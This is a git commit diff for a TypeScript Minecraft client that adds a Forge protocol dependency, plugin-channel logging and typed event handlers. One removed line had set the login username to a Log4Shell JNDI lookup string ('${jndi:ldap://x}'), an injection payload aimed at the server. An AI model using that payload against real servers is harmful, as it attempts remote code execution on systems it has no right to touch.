feat: add molang package

1. upgrade bukkit chat
2. fix config update error

Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
2022-02-12 16:29:40 +08:00
parent 5ed61829e1
commit 6816e51239
73 changed files with 3103 additions and 129 deletions

1
packages/client/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
src/emp.ts

View File

@ -26,6 +26,7 @@
"dependencies": {
"axios": "^0.24.0",
"minecraft-protocol": "^1.29.0",
"minecraft-protocol-forge": "^1.0.0",
"proxy-agent": "^5.0.0"
},
"devDependencies": {

View File

@ -1,29 +1,13 @@
import { createInterface } from 'readline'
import { createClient } from 'minecraft-protocol'
import { Client, createClient } from 'minecraft-protocol'
import { attachForge } from './forge'
import { attachEvents } from './event'
// let readUserInfo = process.argv[2] || 'Mr_jtb'
// let realUserInfo = readUserInfo.split(":")
// let username = realUserInfo[0]
let username = '${jndi:ldap://x}'
let password = '';//realUserInfo[1] || ''
let readUserInfo = process.argv[2] || 'Mr_jtb'
let realUserInfo = readUserInfo.split(":")
let username = realUserInfo[0]
let password = realUserInfo[1] || ''
let version = process.argv[3] || '1.12.2'
let readAddress = process.argv[4] || '192.168.2.25:25565'
let realAddress = readAddress.split(":")
@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password
return client
}
function attachCommon(client) {
function attachCommon(client: Client) {
client.on('login', () => {
// client.registerChannel('updater', ['string', []])
// client.registerChannel('updater-enabled', ['string', []])
// client.registerChannel('dragoncore', ['string', []])
// client.registerChannel('dragoncore:main', ['string', []])
client.on('REGISTER', (array) => {
for (const channel of array) {
client.on('channel', console.log)
}
})
// client.on('dragoncore:main', (data) => {
// console.log(data)
// })
})
client.on('custom_payload', (data) => {
console.log('custom_payload' + JSON.stringify(data))
})
client.on('error', (error) => {
console.log("Client Error", error)
})